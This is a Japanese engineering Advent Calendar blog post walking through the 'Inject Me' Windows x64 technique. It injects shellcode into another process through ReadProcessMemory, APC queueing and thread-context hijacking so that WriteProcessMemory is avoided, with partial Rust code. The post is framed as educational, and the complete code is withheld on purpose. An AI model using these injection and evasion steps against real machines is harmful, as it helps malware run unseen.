アドベントカレンダー 16日目
本記事はLabBaseテックカレンダー Advent Calendar 2024の 16日目になります!
はじめに
さて今年もやってきました、アドベントカレンダーの季節が!!!📅
去年は気合を入れて書いた記事が社内で一番いい技術賞をもらえてとても喜ばしい限りでした🎉
賞を狙うため、というわけではないですがこっちにとっては1年に1回の大イベントですから、気合を入れてネタを仕込みたいという思いなわけです
でも調べたら他に出てくるようなものとか、ささっとできそうなものとかをネタにしても面白くないですよね
そこで今回はほとんど知られておらず、日本語での解説もほぼ存在してないと思われるネタを持ってきました、またまたセキュリティ分野のお話です☠️
では本題に入りましょう、今回のテーマは「Read系の関数を使ってWriteをする」です
過去に海外の方が発見したもので、インジェクションに関わるとても複雑な手法となっており、今回はそれを改めて詳細を見てみようの会となっております
本記事は、教育および研究目的のみを意図して作成されています。
これはアプローチを紹介するためのものであり、違法または非倫理的な活動に使用されるべきではありません。
ここで提供されているコードはデモンストレーション用のコードであり、本記事の作成者はこの情報の誤用について一切の責任を負いません。
セキュリティ研究を行う際は、必ず倫理的ガイドラインと法的枠組みに従ってください。
...と警告したところで悪用する人間は必ず出てくるので、完全なコードは提供せず一部のみをコードとしたりで紹介させていただきます😗
事前準備
今回もRustを使ってコードを書くので、Rustだけ準備できていればOK!
あと例によってWindowsなのでWinマシン!
まずはざっくり
PoCを実装する前に手法についてざっくり理解しておきましょう
元記事はこちらになります: Inject Me x64 Injection-less Code Injection
細かい部分を一旦省いて説明すると、新しいインジェクション手法について考えようとしたとき、たまたまReadProcessMemory関数が頭に浮かんできて引数を見たらこれうまく扱えばいけそうじゃね?となった次第のようです(そうはならんやろがい!)
かなりざっくりフローで行くと、
- ReadProcessMemoryの悪用するために、対象プロセスで必要なメモリ初期化、シェルコードも準備しておく
- プロセスハンドルを複製しておき、初期化したメモリの先頭にExitThread関数ポインタを書き込み
- 1msだけスリープするスレッドを作り、スレッドコンテキストを弄って無限ループするスレッドに変更
- 更にスレッドコンテキストを弄り、初期化したメモリなどをセットしながらReadProcessMemory関数ポインタを指すように
- スレッドを再開するとあら不思議!準備したシェルコードはすでに対象プロセスのメモリにコピー済み!
- 新しいスレッドを作り、Writeを呼んでないにも関わらず1で作ったバッファーをエントリにするとシェルコードが実行される
という流れのようです
確かにメモリ初期化などでそれっぽい関数はコールするものの、よくある知られたWrite系の関数は全くコールされていないことがわかります
VirtualAllocExで初期化したメモリにおいてもよく知られているWriteProcessMemoryのようなものは使わず、あまり知られていない方法でやっていました
じゃあ最初からそれを使えばいいのでは?と思いましたが、ReadProcessMemoryの悪用を対象プロセス内でやることに意味があるのかもしれません
ではここからは本当に可能なのかPoCコードをちまちま作りながらより深掘りしてみましょう
PoC
改めて最初から順を追って理解してみたいと思います
新しいインジェクション手法を開発したい時、既知の手法はフラグが立てられやすいため避けたいとのこと
特にWriteProcessMemoryやNtMapViewOfSectionなんかはターゲットへのメモリコピーとしてよく使われるので、これを避けてコピーできたらいいな〜という顔をしているわけです
あ、ほならReadProcessMemoryって悪用できないのかな、となるところから始まります
ということでReadProcessMemory
関数について知るところがスタート地点です
この関数は5つの引数を取り、対象プロセスのメモリを読み取る関数です
プロセスハンドル、読み取り元、それを置く場所、読み取る長さ、実際に読み取った長さ
が引数となっています
ただし最後の引数のみNULLでもいいとドキュメントに書かれており、その際は読み取った長さの保存処理は無視されるようです
つまり、実質4つの引数で成り立つことがわかります
ここで、Windowsのx64ABI規則について振り返ってみましょう
Windowsの64bitでは、APIの関数呼び出しにおいてRCX、RDX、R8、R9のレジスタが引数になっていることが書かれています
5つ目以降はスタックに置かれます
この点においても必要な引数が4つであるということが都合がいいということですね
で!どのようにReadProcessMemoryを悪用するのかというと、ReadProcessMemory自体を対象プロセスでコールさせることで自分の意思で悪意のあるコードを持ってきた、という体にすることができるんじゃないか?というところです
先で書いたレジスタはコンテキストをいじることで引数とすることが出来るので、スレッドコンテキストをうまくいじれば実現可能そう、という感じになっています
ReadProcessMemoryの流れを図で簡単に表すと、
こちらが通常の使い方に対して、逆転の発想をするということです
1〜4のフローが逆になり、向こうにこっちのメモリを読み取らせてコピーするという感じでしょう
いやいや、そんなこと可能なんですかと!可能なんですねえ、さすがWindowsなんでもできるいい子です
引数に自分自身のプロセスハンドルを複製して渡すことで、相手に自分のプロセスの操作権限を渡すことができます
これを利用して自分のメモリ内にある悪意のあるコードを向こうに取って来させるというわけです
これはDuplicateHandle関数を使うことで実現できます
let mut duplicated_handle: HANDLE = 0;
DuplicateHandle(
GetCurrentProcess(),
GetCurrentProcess(),
process,
&mut duplicated_handle,
0,
0,
DUPLICATE_SAME_ACCESS,
);
本来はファイルハンドルの複製、自分自身を別のアクセス権を付与した上で複製、などの使用法が一般的ですが、これを逆手にとって全く同じアクセス権を持ったハンドルを相手に渡すということですね
家の合鍵を渡してると思えばわかりやすいでしょうか🔑
さて、これで引数の一つ目であるプロセスハンドルは決まりました、続く2、3となるのはメモリ確保です
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
lpBaseAddressは読み取り元、lpBufferは読み取ったものを置く場所、nSizeは読み取りサイズになります
読み取り元は自分自身が用意した悪意のあるコードの場所なので、特別なものは必要なく変数へのポインタでよさそうです
つまりここではlpBufferのためのメモリ確保だけを一旦してあげる必要があります
また、上記で引数について触れたと思いますが、5つ目以降の引数はスタックに置かれます
コンテキストのスタックにはNULLを含むメモリもある必要があるため、その分の確保もしておかなければならないことに注意しておきましょう
幸いなことにVirtualAllocEx関数を使うことでNULL初期化したメモリ確保を行うことができるので、こいつでlpBufferとスタック分を確保しておきましょう
let buffer = VirtualAllocEx(
target_process,
std::ptr::null_mut(),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
ここで重要なのはlpBufferではPAGE_EXECUTE_READWRITE
の指定です
ただのRead/Writeだけではそのメモリから直接実行することができないのでEXECUTEのフラグも必要になってきます
ダミースタックの方はただのRead/Writeだけで大丈夫です🙆
次に進みたいところですが、ここで関数の呼び出しに関する別の問題が出てきます
というのもReadProcessMemoryの関数がreturnする時、戻り部分のアドレスはスタックから取得されるため、このままではNULLを読み取ってしまってアクセス違反になってしまいます
これを防ぐためにはスレッドを終了するような関数のアドレスを置いておくのがよく、そのような場面でExitThread関数を使うことができます
...と、言いたいところですが今回はスタックを直接扱っていることもあり、戻り関数はより低レベルな方が望ましいです
ExitThreadは実はRtlExitUserThreadと呼ばれる公式的には文書化されていないntdllの関数のラッパーとなっています
より低レベルな呼び出しの方が最小限の動作で済むので問題が起きにくく、今回はこちらを選択しましょう
ntdllはシステムライブラリであるため、どのプロセスから見ても場所は同じです
つまりDLLから関数アドレスを取得すればどのプロセスでもそれを参照すれば使用することができます
RtlExitUserThreadの関数アドレスを取得し、それをダミースタックの先頭に書き込んでおくことで、先の問題が解決されることでしょう
...ですがさらにここでまた別の問題が出てきました
最初の方で言った通り、既知の書き込み手法は使いたくありませんよね?
プロセスで確保したメモリに対してはWriteProcessMemoryを使用して書き込むのが一般的ですが、これは望ましくありません
ということで、別の手法を使用します
私が知らないのも含めていくつかあるようですが、元記事に沿うので今回はNtQueueApcThread関数と呼ばれるものを悪用した書き込みを行います
この関数は5つの引数を取り、それぞれスレッドハンドル、呼びたい関数のポインタ、関数への引数3つ、となっています
これを悪用し、呼び出し関数にRtlCopyMemory関数を使用することができます
こいつは3つの引数を持っているので、ちょうどいいということですね
つまりNtQueueApcThreadにターゲットプロセスでのスレッドハンドル、RtlCopyMemory関数ポインタ、コピー元、コピー先(確保したメモリ)、コピーサイズをセットすればいいということになります
しかし、実はRtlCopyMemoryは呼び出し先、つまりここではターゲットプロセスでのスレッド上で呼ばれるためにコピー元となるアドレスはターゲットプロセス内に存在していなければなりません
このままではRtlExitUserThreadの関数アドレスを取得しても書き込むことができませんね😗
ではどのようにしてコピーするのか、ここでシステムライブラリを悪用します
先にも言った通り、kernel32やntdllといったDLLライブラリはシステムライブラリとなっているのでどのプロセスから見ても場所が同じです
これを悪用することで、DLLを直接1バイトずつ見てOPコードを1バイトずつコピーしていくという方法を取ります
これは元記事にない余談ですが、
OPコードはu8、つまり0x00~0xFFであることは事前にわかっているため、同じOPコードを何度も探しに行かなくて済むように探索結果をキャッシュすることも出来ます
use std::sync::Mutex;
use std::sync::LazyLock;
static CACHE: LazyLock<Mutex<[*mut c_void; 0xFF]>> = LazyLock::new(|| {
Mutex::new(unsafe { zeroed::<[*mut c_void; 0xFF]>() })
});
unsafe fn get_op_by_module_mutex(module: PVOID, op: u8) -> Result<*mut c_void> {
let mut cache = CACHE.lock().unwrap();
// 既にキャッシュされているならそれを返す
if !cache[op as usize].is_null() {
return Ok(cache[op as usize]);
}
// 一応軽くパース
let nt_header = (module as u64 + (*(module as *mut IMAGE_DOS_HEADER)).e_lfanew as u64)
as *mut IMAGE_NT_HEADERS64;
for i in 0..(*nt_header).OptionalHeader.SizeOfImage {
if *((module as u64 + i as u64) as *mut u8) == op {
let op_addr = (module as u64 + i as u64) as *mut c_void;
// キャッシュされていなければする
if cache[op as usize].is_null() {
cache[op as usize] = op_addr;
}
return Ok(op_addr);
}
}
bail!("not found")
}
これで一通りコピー問題は解決しましたね💡
あとはNtQueueApcThreadを呼び出すためのスレッドをターゲットプロセスで作成するだけです
これには少し条件があり、アラート可能なスレッドとしておかなければなりません
アラート可能なスレッドというのは簡単に言うと指定のルーチンを非同期呼び出し可能な状態のスレッドのことです
詳しくはこちら: アラート可能なI/O
と言っても簡単で、SleepEx関数の引数にアラート可能な状態にするかどうかの引数があるため、そこにTrue
をセットするだけです
そしてAPCをトリガーするためにWaitForSingleObjectEx関数をコールすれば、APCが呼ばれてコピー処理がされていきます
let h_thread = CreateRemoteThread(
hp,
null_mut(),
0,
std::mem::transmute(sleep_ex),
1u32 as _,
0x4,
NULL as _,
);
// NtQueueApcThreadを利用したコピールーチン
call_APC(...)
// スレッドの一時停止状態を解除
ResumeThread(h_thread);
// スレッドのアラートをトリガーすることで、APCキューが一つずつ処理されていく
WaitForSingleObjectEx(h_thread, 0xFFFFFFFF, true as _);
ここまできたらターゲットプロセスでのスレッドを操作し、ReadProcessMemoryの呼び出しをセットしていくだけですが、ここでスレッドに関する問題が出てきてしまいます
スレッドのコンテキストを変更するにはSetThreadContext
をコールするのですが、とても疑わしくなってしまう操作であるため、これをターゲットプロセス上にある既知のスレッドでは行いたくありません
かといって新しく作成されたスレッドであっても状態によっては初期化処理が行われず、コンテキストを変更しようとするとエラーになってクラッシュしてしまいます
この問題を解決するために無限ループをするようなスレッドを作成したいところです
そうすれば初期化が行われた後はループ以外何もしないため、問題なくスレッドを操作できるはずです
ではこの無限ループを実現するためにどうすればいいでしょうか、そのような単純な関数はWindowsに用意されていません
例えばjmp short
のようなアセンブリを使用して戻るのもいいですが、もっとお手軽な方法として使用されていないレジスタにjmp
する方法もあります
スレッドを作成するにはCreateRemoteThread
を使用しますが、DLLの解析をするとRBX
レジスタが使用されていないことがわかるので今回は無限ループをjmp rbx
として実現可能です
これを先で紹介した通りAPCの悪用メモリコピーを使用して、それをスレッドのエントリとし、一時停止状態で開始します
RBX
にはまだ何もないので、コンテキストを弄ってRBX
にjmp rbx
を指すように変更します
この状態でスレッドを再開すると無限ループに入りますが、スレッドの初期化が終わった状態でもあるので、これで欲しい状況がそろいましたね!
ここまで出来たら再びスレッドを停止し、ReadProcessMemory
のアドレスと最初に用意した引数たちをセットしなおすです
if GetThreadContext(thread, &mut context) != 0 {
context.Rbx = jmp_rbx_buffer as u64;
SetThreadContext(thread, &context);
ResumeThread(thread);
Sleep(100);
SuspendThread(thread);
if GetThreadContext(thread, &mut context) != 0 {
// check RIP
if context.Rip == infinite_loop_buffer as u64 {
// 引数1
context.Rcx = duplicated_handle as u64;
// 引数2
context.Rdx = shellcode.as_ptr() as u64;
// 引数3
context.R8 = shellcode_buffer as u64;
// 引数4
context.R9 = shellcode.len() as u64;
context.Rsp = stack_buffer as u64;
context.Rbx = GetProcAddress(
GetModuleHandleA(b"kernel32.dll\0".as_ptr()),
b"ReadProcessMemory\0".as_ptr()
) as u64;
SetThreadContext(thread, &context);
}
}
}
これでスレッドを再開すると...?
あら不思議!WriteProcessMemory
のようなものは一切呼んでないのに悪意のあるコードがターゲットプロセスのスレッド上にコピーされてしまいましたとさ!
ここからは悪意のあるコードが入ったメモリをエントリーポイントにしたスレッドを作成するなりして実行するだけです、お疲れさまでした🪇
まとめ
今回のトピックはかなりWindowsの深いところ、特に実行ファイル関連やスレッド回りなどを知っておかないと難しい内容だったかもしれませんね
セキュリティ社はこのような実験や実証をたくさんし、日々マルウェアたちと奮闘しているのだと思うとかなり大変な仕事だということがわかりました
私たちのパソコンが守られていることに感謝したいと思います🙏
おまけの聞かれそうなQAコーナー
- Q. どうしてセキュリティの仕事でもない、志望でもないのにこんなことを?
- A. その仕組みを知る過程や実験をしているときが楽しい
- Q. 実際にこの手法はマルウェアに活用されているのか?
- A. 実際のところはわかりませんがおそらくNoです。複雑すぎるのと結局スレッドの作成などは既知の手法なので探知されやすいためと思われます!
- Q. 元記事以外ではほぼ話題にもなっていない、どうやってこの手法の記事を見つけたの?
- A. 探した過程が記憶にあらず、気付いたら記憶の一部でした